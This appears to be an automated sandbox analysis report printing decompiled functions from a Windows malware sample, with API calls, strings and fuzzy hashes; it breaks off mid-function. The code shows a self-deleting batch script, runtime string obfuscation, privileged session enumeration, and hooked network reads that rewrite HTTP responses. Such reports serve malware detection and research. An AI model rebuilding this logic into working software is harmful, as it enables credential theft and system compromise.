Function 00408EB7, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 160
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00408EB7(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				char _v92;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				void* _t25;
				long _t27;
				void* _t28;
				long _t29;
				void* _t33;
				void* _t39;
				void* _t41;
				void* _t44;
				long _t49;
				void* _t50;
				void* _t57;
				void* _t62;
				void* _t69;
				void* _t73;
				WCHAR* _t77;
				void* _t78;
				void* _t80;
				void* _t82;

				_t73 = __edx;
				_t70 = __ecx;
				_t22 = E00405367(__ecx, __eflags, 0x743c1521, 2);
				_v28 = _t22;
				if(_t22 != 0) {
					SetThreadPriority(GetCurrentThread(), 0xfffffff1);
					_t25 = E0040548D();
					__eflags = _t25;
					if(_t25 == 0) {
						L24:
						E00411B13(_v28);
						__eflags = 0;
						return 0;
					}
					_t27 = WaitForSingleObject( *0x42276c, 0xea60);
					__eflags = _t27 - 0x102;
					if(_t27 != 0x102) {
						goto L24;
					}
					do {
						_t28 = E004095BE(_t70);
						_v24 = _t28;
						__eflags = _t28;
						if(__eflags == 0) {
							goto L22;
						}
						_t80 = E00413F1D( &_v16, _t73, __eflags, _t28, 2, 0x20000000);
						_v20 = _t80;
						__eflags = _t80;
						if(__eflags == 0) {
							L21:
							E0040E235(_v20);
							E0040E235(_v24);
							goto L22;
						}
						_t70 = _v16;
						_t33 = E004089CC(_v16, __eflags, _t80);
						__eflags = _t33;
						if(_t33 == 0) {
							goto L21;
						} else {
							goto L8;
						}
						do {
							L8:
							_v8 = E0040F105(_t80, 1);
							_v12 = E0040F105(_t80, 2);
							_t39 = E0040F5E4(_t80, E0040ED72(_t80));
							_t72 = _v8;
							_t41 = E0040F5E4(_t72, E0040ED72(_v8));
							_t70 = _v12;
							_push(E0040F5E4(_t70, E0040ED72(_v12)));
							_push(_t41);
							_push(_t39);
							_push(L"Global\\%08X%08X%08X");
							_t73 = 0x20;
							_t77 =  &_v92;
							_t44 = E0040EF28(_t43, _t73, _t77);
							_t82 = _t82 + 0x10;
							__eflags = _t44 - 0x1f;
							if(_t44 != 0x1f) {
								goto L20;
							}
							_t69 = CreateMutexW(0x4222e0, 1, _t77);
							__eflags = _t69;
							if(_t69 == 0) {
								goto L20;
							}
							_t49 = GetLastError();
							__eflags = _t49 - 0xb7;
							if(_t49 == 0xb7) {
								CloseHandle(_t69);
								_t69 = 0;
								__eflags = 0;
							}
							__eflags = _t69;
							if(_t69 != 0) {
								_t50 = 0x10;
								_t78 = E0040E205(_t50);
								__eflags = _t78;
								if(_t78 == 0) {
									L19:
									E00411B13(_t69);
									goto L20;
								}
								 *_t78 = E0040E693(_t51 | 0xffffffff, _t80);
								 *(_t78 + 4) = E0040E693(_t53 | 0xffffffff, _v8);
								_t57 = E0040E693(_t55 | 0xffffffff, _v12);
								__eflags =  *_t78;
								 *(_t78 + 8) = _t57;
								 *(_t78 + 0xc) = _t69;
								if( *_t78 == 0) {
									L18:
									E0040E235( *_t78);
									E0040E235( *(_t78 + 4));
									E0040E235( *(_t78 + 8));
									E0040E235(_t78);
									goto L19;
								}
								__eflags =  *(_t78 + 4);
								if( *(_t78 + 4) == 0) {
									goto L18;
								}
								__eflags = _t57;
								if(_t57 == 0) {
									goto L18;
								}
								_t62 = E0040FCB7(0x80000, E00408B92, _t78);
								__eflags = _t62;
								if(_t62 != 0) {
									goto L20;
								}
								goto L18;
							}
							L20:
							_t80 = E0040F105(_t80, 3);
							__eflags = _t80;
						} while (_t80 != 0);
						goto L21;
						L22:
						_t29 = WaitForSingleObject( *0x42276c, 0xea60);
						__eflags = _t29 - 0x102;
					} while (_t29 == 0x102);
					goto L24;
				}
				return _t22 + 1;
			}

0x00408eb7
0x00408eb7
0x00408ec4
0x00408ec9
0x00408ece
0x00408edf
0x00408ee5
0x00408eea
0x00408eec
0x004090aa
0x004090ad
0x004090b2
0x00000000
0x004090b2
0x00408efd
0x00408f03
0x00408f08
0x00000000
0x00000000
0x00408f11
0x00408f11
0x00408f16
0x00408f19
0x00408f1b
0x00000000
0x00000000
0x00408f31
0x00408f33
0x00408f36
0x00408f38
0x0040907b
0x0040907e
0x00409086
0x00000000
0x00409086
0x00408f3e
0x00408f42
0x00408f47
0x00408f49
0x00000000
0x00000000
0x00000000
0x00000000
0x00408f4f
0x00408f4f
0x00408f58
0x00408f66
0x00408f70
0x00408f75
0x00408f81
0x00408f86
0x00408f97
0x00408f98
0x00408f99
0x00408f9a
0x00408fa1
0x00408fa2
0x00408fa5
0x00408faa
0x00408fad
0x00408fb0
0x00000000
0x00000000
0x00408fc6
0x00408fc8
0x00408fca
0x00000000
0x00000000
0x00408fd0
0x00408fd6
0x00408fdb
0x00408fde
0x00408fe4
0x00408fe4
0x00408fe4
0x00408fe6
0x00408fe8
0x00408fec
0x00408ff2
0x00408ff4
0x00408ff6
0x00409062
0x00409063
0x00000000
0x00409063
0x00409004
0x00409011
0x00409017
0x0040901c
0x0040901f
0x00409022
0x00409025
0x00409045
0x00409047
0x0040904f
0x00409057
0x0040905d
0x00000000
0x0040905d
0x00409027
0x0040902b
0x00000000
0x00000000
0x0040902d
0x0040902f
0x00000000
0x00000000
0x0040903c
0x00409041
0x00409043
0x00000000
0x00000000
0x00000000
0x00409043
0x00409068
0x00409071
0x00409073
0x00409073
0x00000000
0x0040908b
0x00409096
0x0040909c
0x0040909c
0x00000000
0x004090a9
0x00000000

APIs

Part of subcall function 00405367: CreateMutexW.KERNEL32(004222E0,00000000,?,?,?,?,?), ref: 00405388

GetCurrentThread.KERNEL32 ref: 00408ED8
SetThreadPriority.KERNEL32(00000000), ref: 00408EDF
WaitForSingleObject.KERNEL32(0000EA60), ref: 00408EFD
CreateMutexW.KERNEL32(004222E0,00000001,?,20000000), ref: 00408FC0
GetLastError.KERNEL32 ref: 00408FD0
CloseHandle.KERNEL32(00000000), ref: 00408FDE

Strings

Global\%08X%08X%08X, xrefs: 00408F9A

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateMutexThread$CloseCurrentErrorHandleLastObjectPrioritySingleWait
String ID: Global\%08X%08X%08X
API String ID: 3448221409-3239447729
Opcode ID: 172c4e4cc80dafd6c862de4aacea6ae8e72461373a9f2dfd9b6d48eacf6ea381
Instruction ID: 1a1f73aee66967e3b0fbe02ff4223e6d353ca69cbd6c7fb5b8134172a4499b3f
Opcode Fuzzy Hash: 172c4e4cc80dafd6c862de4aacea6ae8e72461373a9f2dfd9b6d48eacf6ea381
Instruction Fuzzy Hash: E141E370A00602BADB217BB2CC46B6F7669AF00314F10493FF910B62E3DB7D8D508A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E8AA, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 144
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041E8AA(void* __ecx, void* __eflags) {
				intOrPtr _v74;
				signed int _v78;
				char _v124;
				char _v128;
				signed int _v140;
				void* _v144;
				intOrPtr _v148;
				void* _v152;
				char _v156;
				void* _v160;
				char _v164;
				char _v168;
				signed int _v172;
				void* __esi;
				char _t45;
				signed int _t46;
				void* _t47;
				void* _t53;
				signed int _t54;
				signed int _t55;
				signed int _t57;
				intOrPtr _t62;
				signed int _t67;
				char _t69;
				long _t74;
				signed int _t80;
				signed int _t91;
				void* _t94;
				signed int _t95;
				void* _t97;

				_t97 = (_t95 & 0xfffffff8) - 0xac;
				_t80 = 2;
				_t45 = E00405367(__ecx, __eflags, 0x743c152e, _t80);
				_v156 = _t45;
				if(_t45 != 0) {
					_t46 = E0040548D();
					__eflags = _t46;
					if(_t46 == 0) {
						L25:
						E00411B13(_v148);
						_t47 = 0;
						__eflags = 0;
						L26:
						return _t47;
					}
					E0040D14C(__ecx,  &_v124);
					_t84 = _v78;
					_t91 = E0041E758( &_v160, _v78,  &_v168) & 0x0000ffff;
					__eflags = _t91;
					if(_t91 != 0) {
						L7:
						__eflags = _t91 - _v74;
						if(_t91 != _v74) {
							E0040D207( &_v124);
							_v78 = _t91;
							E0040D25F( &_v128);
						}
						_t53 =  *0x42276c; // 0x0
						_v144 = _t53;
						_t54 = _v152;
						_v172 = 1;
						__eflags = _t54;
						if(_t54 != 0) {
							_v140 = _t54;
							_v172 = _t80;
						}
						_t55 = _v160;
						__eflags = _t55;
						if(_t55 != 0) {
							_t84 = _v172;
							_t20 =  &_v172;
							 *_t20 = _v172 + 1;
							__eflags =  *_t20;
							 *(_t97 + 0x2c + _v172 * 4) = _t55;
						}
						while(1) {
							L23:
							_t57 = WaitForMultipleObjects(_v172,  &_v144, 0, 0xffffffff);
							__eflags = _t57;
							if(_t57 <= 0) {
								break;
							}
							__eflags = _t57 - _v172;
							if(_t57 >= _v172) {
								break;
							}
							_t62 =  *((intOrPtr*)(_t97 + 0x2c + _t57 * 4));
							__eflags = _t62 - _v152;
							if(_t62 != _v152) {
								__eflags = _t62 - _v160;
								if(_t62 != _v160) {
									while(1) {
										L22:
										_t37 =  &_v168; // 0x41e7e0
										_t94 =  *0x4237d0( *_t37, 0, 0);
										__eflags = _t94 - 0xffffffff;
										if(_t94 == 0xffffffff) {
											goto L23;
										}
										__imp__WSAEventSelect(_t94, 0, 0);
										_v156 = 0;
										__imp__WSAIoctl(_t94, 0x8004667e,  &_v156, 4, 0, 0,  &_v152, 0, 0);
										E00411705(_t84, _t94);
										_t67 = E0040FCB7(0x20000, E0041E7E0, _t94);
										__eflags = _t67;
										if(_t67 == 0) {
											E004116AD(_t94);
										}
									}
									continue;
								}
								_t69 = _v164;
								L19:
								_v168 = _t69;
								goto L22;
							}
							_t69 = _v156;
							goto L19;
						}
						E004116AD(_v156);
						CloseHandle(_v152);
						E004116AD(_v164);
						CloseHandle(_v160);
						goto L25;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t74 = WaitForSingleObject( *0x42276c, 0x3e8);
						__eflags = _t74 - 0x102;
						if(_t74 != 0x102) {
							break;
						}
						_t84 = _v74;
						_t91 = E0041E758( &_v156, _v74,  &_v164) & 0x0000ffff;
						__eflags = _t91;
						if(_t91 == 0) {
							continue;
						}
						break;
					}
					__eflags = _t91;
					if(_t91 == 0) {
						goto L25;
					}
					goto L7;
				}
				_t47 = 1;
				goto L26;
			}

0x0041e8b0
0x0041e8bb
0x0041e8c2
0x0041e8c9
0x0041e8cf
0x0041e8d9
0x0041e8de
0x0041e8e0
0x0041ea64
0x0041ea68
0x0041ea6d
0x0041ea6d
0x0041ea6f
0x0041ea75
0x0041ea75
0x0041e8eb
0x0041e8f0
0x0041e902
0x0041e905
0x0041e908
0x0041e945
0x0041e945
0x0041e94a
0x0041e951
0x0041e95b
0x0041e960
0x0041e960
0x0041e965
0x0041e96a
0x0041e96e
0x0041e972
0x0041e97a
0x0041e97c
0x0041e97e
0x0041e982
0x0041e982
0x0041e986
0x0041e98a
0x0041e98c
0x0041e98e
0x0041e992
0x0041e992
0x0041e992
0x0041e996
0x0041e996
0x0041ea2a
0x0041ea2a
0x0041ea36
0x0041ea38
0x0041ea3a
0x00000000
0x00000000
0x0041e9a5
0x0041e9a9
0x00000000
0x00000000
0x0041e9af
0x0041e9b3
0x0041e9b7
0x0041e9bf
0x0041e9c3
0x0041ea17
0x0041ea17
0x0041ea19
0x0041ea23
0x0041ea25
0x0041ea28
0x00000000
0x00000000
0x0041e9d2
0x0041e9ee
0x0041e9f2
0x0041e9f9
0x0041ea09
0x0041ea0e
0x0041ea10
0x0041ea12
0x0041ea12
0x0041ea10
0x00000000
0x0041ea17
0x0041e9c5
0x0041e9c9
0x0041e9c9
0x00000000
0x0041e9c9
0x0041e9b9
0x00000000
0x0041e9b9
0x0041ea44
0x0041ea53
0x0041ea59
0x0041ea62
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e90a
0x0041e90a
0x0041e915
0x0041e91b
0x0041e920
0x00000000
0x00000000
0x0041e922
0x0041e934
0x0041e937
0x0041e93a
0x00000000
0x00000000
0x00000000
0x0041e93a
0x0041e93c
0x0041e93f
0x00000000
0x00000000
0x00000000
0x0041e93f
0x0041e8d3
0x00000000

APIs

Part of subcall function 00405367: CreateMutexW.KERNEL32(004222E0,00000000,?,?,?,?,?), ref: 00405388

WaitForSingleObject.KERNEL32(000003E8,?,?,743C152E,00000002), ref: 0041E915
WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF,?,?,743C152E), ref: 0041EA36
CloseHandle.KERNEL32(?), ref: 0041EA53
CloseHandle.KERNEL32(?), ref: 0041EA62

Strings

A, xrefs: 0041EA19

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandleWait$CreateMultipleMutexObjectObjectsSingle
String ID: A
API String ID: 2442578805-2078354741
Opcode ID: 543fd448bf94ed467985691ea491699aa952794978125790203e1d2ea16c638e
Instruction ID: 716d7fbec777bfc1e5667064686c70cbf1d9f0858917aed926ab019f1f884e3c
Opcode Fuzzy Hash: 543fd448bf94ed467985691ea491699aa952794978125790203e1d2ea16c638e
Instruction Fuzzy Hash: FB419C75508340ABC720EF66D844CAFB7E8FFC5744F14092EF994A32A1D7389D858B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD42, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 116
stringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040FD42(void* __edi, char _a4) {
				short _v20;
				short _v36;
				short _v56;
				intOrPtr _v60;
				char _v104;
				short _v624;
				char _v884;
				char _v1424;
				void* _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				char _t73;
				void* _t74;

				_t74 = __edi;
				if(E0041365F(L"bat",  &_v624) == 0) {
					L11:
					return 0;
				}
				CharToOemW( &_v624,  &_v884);
				_push( &_v884);
				if(E0040EFF9( &_a4, "@echo off\r\n%s\r\ndel /F \"%s\"\r\n", _a4) == 0xffffffff) {
					L10:
					E0041363E( &_v624);
					goto L11;
				}
				_t43 = E00413495( &_v624, _a4, _t39);
				E0040E235(_a4);
				if(_t43 == 0) {
					goto L10;
				}
				lstrcpyW( &_v20, L"0d!#&t#");
				_t47 =  &_v20;
				if(_v20 == 0) {
					L5:
					_push(_t74);
					_push( &_v624);
					if(E0040EF28( &_v20, 0x10e,  &_v1424,  &_v20) <= 0xffffffff) {
						goto L10;
					}
					lstrcpyW( &_v36, L"DpnTqfd");
					_t53 =  &_v36;
					if(_v36 == 0) {
						L8:
						if(GetEnvironmentVariableW( &_v36,  &_v624, 0x104) - 1 > 0x102) {
							goto L10;
						}
						_t73 = 0x44;
						E0040E2E8( &_v104,  &_v104, 0, _t73);
						_v56 = 0;
						_v104 = _t73;
						_v60 = 1;
						return E0040FB27( &_v624,  &_v1424, 0,  &_v104, 0) & 0xffffff00 | _t64 != 0x00000000;
					} else {
						goto L7;
					}
					do {
						L7:
						 *_t53 =  *_t53 + 0xffff;
						_t53 = _t53 + 2;
					} while ( *_t53 != 0);
					goto L8;
				} else {
					goto L4;
				}
				do {
					L4:
					 *_t47 =  *_t47 + 0xffff;
					_t47 = _t47 + 2;
				} while ( *_t47 != 0);
				goto L5;
			}

0x0040fd42
0x0040fd60
0x0040fe9d
0x00000000
0x0040fe9d
0x0040fd74
0x0040fd80
0x0040fd98
0x0040fe91
0x0040fe98
0x00000000
0x0040fe98
0x0040fda9
0x0040fdb3
0x0040fdba
0x00000000
0x00000000
0x0040fdcf
0x0040fdd6
0x0040fdde
0x0040fdee
0x0040fdee
0x0040fdf5
0x0040fe10
0x00000000
0x00000000
0x0040fe1b
0x0040fe1f
0x0040fe26
0x0040fe35
0x0040fe51
0x00000000
0x00000000
0x0040fe55
0x0040fe5c
0x0040fe63
0x0040fe7b
0x0040fe7e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fe28
0x0040fe28
0x0040fe2a
0x0040fe2d
0x0040fe30
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fde0
0x0040fde0
0x0040fde2
0x0040fde5
0x0040fde8
0x00000000

APIs

Part of subcall function 0041365F: GetTempPathW.KERNEL32(000000F6,?), ref: 00413676

CharToOemW.USER32 ref: 0040FD74

Part of subcall function 00413495: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,00000000,00000000,?,004136D2,?,00000000,00000000,?,?), ref: 004134AF
Part of subcall function 00413495: WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,004136D2,?,00000000,00000000,?,?), ref: 004134D2
Part of subcall function 00413495: CloseHandle.KERNEL32(00000000,?,004136D2,?,00000000,00000000,?,?), ref: 004134DF

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

lstrcpyW.KERNEL32(?,0d!#&t#), ref: 0040FDCF
lstrcpyW.KERNEL32(?,DpnTqfd), ref: 0040FE1B
GetEnvironmentVariableW.KERNEL32(?,?,00000104,?,?,?,00000000), ref: 0040FE45

Strings

@echo off%sdel /F "%s", xrefs: 0040FD87
bat, xrefs: 0040FD54
0d!#&t#, xrefs: 0040FDC6
DpnTqfd, xrefs: 0040FE12

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Filelstrcpy$CharCloseCreateEnvironmentFreeHandleHeapPathTempVariableWrite
String ID: 0d!#&t#$@echo off%sdel /F "%s"$DpnTqfd$bat
API String ID: 281906742-3126477400
Opcode ID: 383a9a366b410540e3949bcf406a965835e86b18ea56c2ef87b06d6f53ed0316
Instruction ID: 6b0109cffd4a51a1bd631d41c0f5d5c93e74caf4bbe6f0c5ef068a0cdec45255
Opcode Fuzzy Hash: 383a9a366b410540e3949bcf406a965835e86b18ea56c2ef87b06d6f53ed0316
Instruction Fuzzy Hash: 4E415372800219AACF20EBA0DC45AEF77BCEF04314F144577E945F75D1E6789A898BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041C97A, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0041C97A(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct HINSTANCE__* _v8;
				char _v12;
				char _v16;
				_Unknown_base(*)()* _v20;
				intOrPtr _v24;
				char _v40;
				char _v60;
				char _v84;
				char _v112;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t30;
				_Unknown_base(*)()* _t42;
				intOrPtr _t44;
				intOrPtr _t50;
				intOrPtr* _t55;
				void* _t57;
				void* _t58;
				intOrPtr* _t59;
				CHAR* _t61;
				CHAR* _t62;
				CHAR* _t63;
				_Unknown_base(*)()* _t64;
				WCHAR* _t66;
				void* _t68;

				_t58 = __ecx;
				_t66 =  &_v112;
				E00407384(0xda, _t66);
				_t30 = LoadLibraryW(_t66);
				_v8 = _t30;
				if(_t30 == 0) {
					return _t30;
				}
				_t61 =  &_v84;
				E0040734E(0xdb, _t61);
				_t55 = GetProcAddress(_v8, _t61);
				_t62 =  &_v40;
				E0040734E(0xdc, _t62);
				_v20 = GetProcAddress(_v8, _t62);
				_t63 =  &_v60;
				E0040734E(0xdd, _t63);
				_t42 = GetProcAddress(_v8, _t63);
				_t68 = 0;
				_t64 = _t42;
				if(_t55 == 0 || _v20 == 0 || _t64 == 0) {
					L14:
					return FreeLibrary(_v8);
				} else {
					_t44 = E0040F901(L"SeTcbPrivilege");
					__imp__WTSGetActiveConsoleSessionId();
					_v24 = _t44;
					if(_t44 != 0xffffffff) {
						E0041C909(_t58, 0, _t64, _t44, _a4, _a8);
					}
					_push( &_v12);
					_push( &_v16);
					_push(1);
					_push(_t68);
					_push(_t68);
					if( *_t55() == 0) {
						goto L14;
					} else {
						_t57 = 0;
						if(_v12 <= _t68) {
							L13:
							_v20(_v16);
							goto L14;
						} else {
							goto L8;
						}
						do {
							L8:
							_t59 = _t68 + _v16;
							_t50 =  *((intOrPtr*)(_t59 + 8));
							if(_t50 == 0 || _t50 == 4) {
								_t51 =  *_t59;
								if( *_t59 != _v24) {
									E0041C909(_t59, _t68, _t64, _t51, _a4, _a8);
								}
							}
							_t57 = _t57 + 1;
							_t68 = _t68 + 0xc;
						} while (_t57 < _v12);
						goto L13;
					}
				}
			}

0x0041c97a
0x0041c981
0x0041c989
0x0041c991
0x0041c997
0x0041c99c
0x0041ca7f
0x0041ca7f
0x0041c9a4
0x0041c9ac
0x0041c9bf
0x0041c9c1
0x0041c9c9
0x0041c9d6
0x0041c9d9
0x0041c9e1
0x0041c9ec
0x0041c9ee
0x0041c9f0
0x0041c9f4
0x0041ca72
0x00000000
0x0041c9ff
0x0041ca04
0x0041ca09
0x0041ca0f
0x0041ca15
0x0041ca1f
0x0041ca1f
0x0041ca27
0x0041ca2b
0x0041ca2c
0x0041ca2e
0x0041ca2f
0x0041ca34
0x00000000
0x0041ca36
0x0041ca36
0x0041ca3b
0x0041ca6c
0x0041ca6f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ca3d
0x0041ca3d
0x0041ca40
0x0041ca43
0x0041ca48
0x0041ca4f
0x0041ca54
0x0041ca5e
0x0041ca5e
0x0041ca54
0x0041ca63
0x0041ca64
0x0041ca67
0x00000000
0x0041ca3d
0x0041ca34

APIs

LoadLibraryW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,0041D496,?,?,00000000), ref: 0041C991
GetProcAddress.KERNEL32(?,?), ref: 0041C9BD
GetProcAddress.KERNEL32(?,?), ref: 0041C9D4
GetProcAddress.KERNEL32(?,00000000), ref: 0041C9EC
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0041D496,?,?,00000000,?), ref: 0041CA75

Part of subcall function 0040F901: GetCurrentThread.KERNEL32 ref: 0040F911
Part of subcall function 0040F901: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,0041CA09,SeTcbPrivilege), ref: 0040F918
Part of subcall function 0040F901: OpenProcessToken.ADVAPI32(000000FF,00000020,0041CA09,?,?,?,?,0041CA09,SeTcbPrivilege), ref: 0040F92A

WTSGetActiveConsoleSessionId.KERNEL32(SeTcbPrivilege,?,?,?,?,?,?,?,?,?,?,0041D496,?,?,00000000,?), ref: 0041CA09

Part of subcall function 0041C909: EqualSid.ADVAPI32(00000000,00000000,?,00000000,?,0041CA63,00000000,?,?,?), ref: 0041C92E
Part of subcall function 0041C909: CloseHandle.KERNEL32(?,?,00000000,?,0041CA63,00000000,?,?,?), ref: 0041C96F

Strings

SeTcbPrivilege, xrefs: 0041C9FF
.exe, xrefs: 0041C9A3

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryOpenThreadToken$ActiveCloseConsoleCurrentEqualFreeHandleLoadProcessSession
String ID: .exe$SeTcbPrivilege
API String ID: 1107370034-552748125
Opcode ID: cff47ca4049159c99dced35f8b98798f31148ba4d05d98276ccbefb603a0268d
Instruction ID: ffd40e46dce3fb456a6b20dd66f64dde76a7a7f20c67c43ad62ddf21a2798c04
Opcode Fuzzy Hash: cff47ca4049159c99dced35f8b98798f31148ba4d05d98276ccbefb603a0268d
Instruction Fuzzy Hash: 30316F75E40218ABDB12EBE4CC80AEEBB79EF45744F140127F901F6250D735AE41DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406CE5, Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 247
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00406CE5(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v20;
				void* _v24;
				void* _v28;
				char _v36;
				char _v40;
				signed int _v44;
				void* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				void* _v72;
				void* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t99;
				signed int _t100;
				signed int _t101;
				intOrPtr _t103;
				void* _t104;
				signed int _t107;
				signed int _t108;
				signed int _t110;
				intOrPtr _t119;
				void* _t131;
				signed int _t139;
				void* _t149;
				struct _CRITICAL_SECTION* _t153;
				intOrPtr _t155;
				signed int _t168;
				signed int _t174;
				char _t176;
				void* _t177;
				intOrPtr _t179;
				void* _t182;
				signed int _t183;
				intOrPtr _t186;
				void* _t188;
				signed int _t189;
				void* _t191;
				void* _t192;
				void* _t193;
				signed int _t195;
				void* _t197;
				void* _t199;

				_t197 = (_t195 & 0xfffffff8) - 0x34;
				_t99 = E0040548D();
				_t179 = _a4;
				if(_t99 == 0 || _a8 == 0 || _a12 <= 0) {
					L40:
					_t100 =  *0x4227ac(_t179, _a8, _a12);
					goto L41;
				} else {
					_t153 = 0x422788;
					EnterCriticalSection(0x422788);
					_t101 = E0040600A(_t179);
					if(_t101 == 0xffffffff) {
						L39:
						LeaveCriticalSection(_t153);
						goto L40;
					}
					_t103 = _t101 * 0x38 +  *0x4227a4;
					if( *((intOrPtr*)(_t103 + 0x30)) > 0) {
						L32:
						_t182 =  *((intOrPtr*)(_t103 + 0x30)) -  *((intOrPtr*)(_t103 + 0x34));
						_t85 = _t103 + 0x2c; // -4335480
						_t173 = _t85;
						__eflags = _a12 - _t182;
						_t183 =  <  ? _a12 : _t182;
						_t104 = E0040E271(_a8,  *_t85 +  *((intOrPtr*)(_t103 + 0x34)), _t183);
						 *((intOrPtr*)(_t104 + 0x34)) =  *((intOrPtr*)(_t104 + 0x34)) + _t183;
						__eflags =  *((intOrPtr*)(_t104 + 0x34)) -  *((intOrPtr*)(_t104 + 0x30));
						if( *((intOrPtr*)(_t104 + 0x34)) ==  *((intOrPtr*)(_t104 + 0x30))) {
							E0040E2E8(E0040E235( *_t173), _t173, 0, 0xc);
						}
						LeaveCriticalSection(_t153);
						_t100 = _t183;
						L41:
						return _t100;
					}
					if( *((intOrPtr*)(_t103 + 0x10)) <= 0) {
						goto L39;
					}
					LeaveCriticalSection(0x422788);
					_t107 =  *0x4227ac(_t179, _a8, _a12);
					_t199 = _t197 + 0xc;
					_v52 = _t107;
					if(_t107 <= 0xffffffff) {
						L38:
						_t100 = _v52;
						goto L41;
					}
					EnterCriticalSection(0x422788);
					_t108 = E0040600A(_t179);
					_t174 = _t108;
					if(_t174 == 0xffffffff) {
						L35:
						_push(8);
						_push(0xffffe890);
						L36:
						 *0x422784();
						_v52 = _v52 | 0xffffffff;
						L37:
						LeaveCriticalSection(_t153);
						goto L38;
					}
					_t168 = _v52;
					if(_t168 == 0) {
						L11:
						_t176 = _t174 * 0x38 +  *0x4227a4;
						_v36 = _t176;
						if(_t168 > 0) {
							E0040E271( *((intOrPtr*)(_t176 + 0x14)) +  *((intOrPtr*)(_t176 + 0x18)), _a8, _t168);
							 *((intOrPtr*)(_t176 + 0x18)) =  *((intOrPtr*)(_t176 + 0x18)) + _t168;
						}
						_t110 = E00406909(_t156,  &_v20,  *((intOrPtr*)(_t176 + 0x14)),  *((intOrPtr*)(_t176 + 0x18)));
						_v52 = _t110;
						if(_t110 == 1) {
							_t119 = E00406AB3( &_v20,  *((intOrPtr*)(_t176 + 0x18)),  *((intOrPtr*)(_t176 + 0x14)), ( &_v48 & 0xffffff00 | _v52 == 0x00000000) & 0x000000ff,  &_v48,  &_v40);
							_v60 = _t119;
							if(_t119 == 1) {
								if(E004081DE( *((intOrPtr*)(_t176 + 0x10)),  *((intOrPtr*)(_t176 + 0xc)),  *((intOrPtr*)(_t176 + 4)),  &_v48,  &_v40) != 0) {
									_t155 = _v40;
									_t186 = E0040E205( *((intOrPtr*)(_t176 + 0x18)) -  *((intOrPtr*)(_t199 + 0x3c)) +  *((intOrPtr*)(_t199 + 0x38)) + _t155 + 0x14);
									_v40 = _t186;
									if(_t186 != 0) {
										_t131 = E0040E271(_t186,  *((intOrPtr*)(_t176 + 0x14)),  *((intOrPtr*)(_t199 + 0x38)));
										_push(_t155);
										if(( *(_t199 + 0x30) & 0x00000002) == 0) {
											E0040E9DE(_t199 + 0x28);
											_t188 = E00413288(_t186,  *((intOrPtr*)(_t199 + 0x40)), "Content-Length",  &_v36) + _v60;
											E0040E271(_t188,  *((intOrPtr*)(_t199 + 0x18)), _t155);
											_t189 = _t188 + _t155;
											__eflags = _t189;
										} else {
											_push("%x\r\n");
											_t191 = _t186 + _t131;
											_t177 = 0xd;
											_t192 = _t191 + E0040EF6C(_t131, _t177, _t191);
											E0040E271(_t192, _v48, _t155);
											_t193 = _t192 + _t155;
											E0040E271(_t193, "\r\n0\r\n\r\n", 7);
											_t176 = _v60;
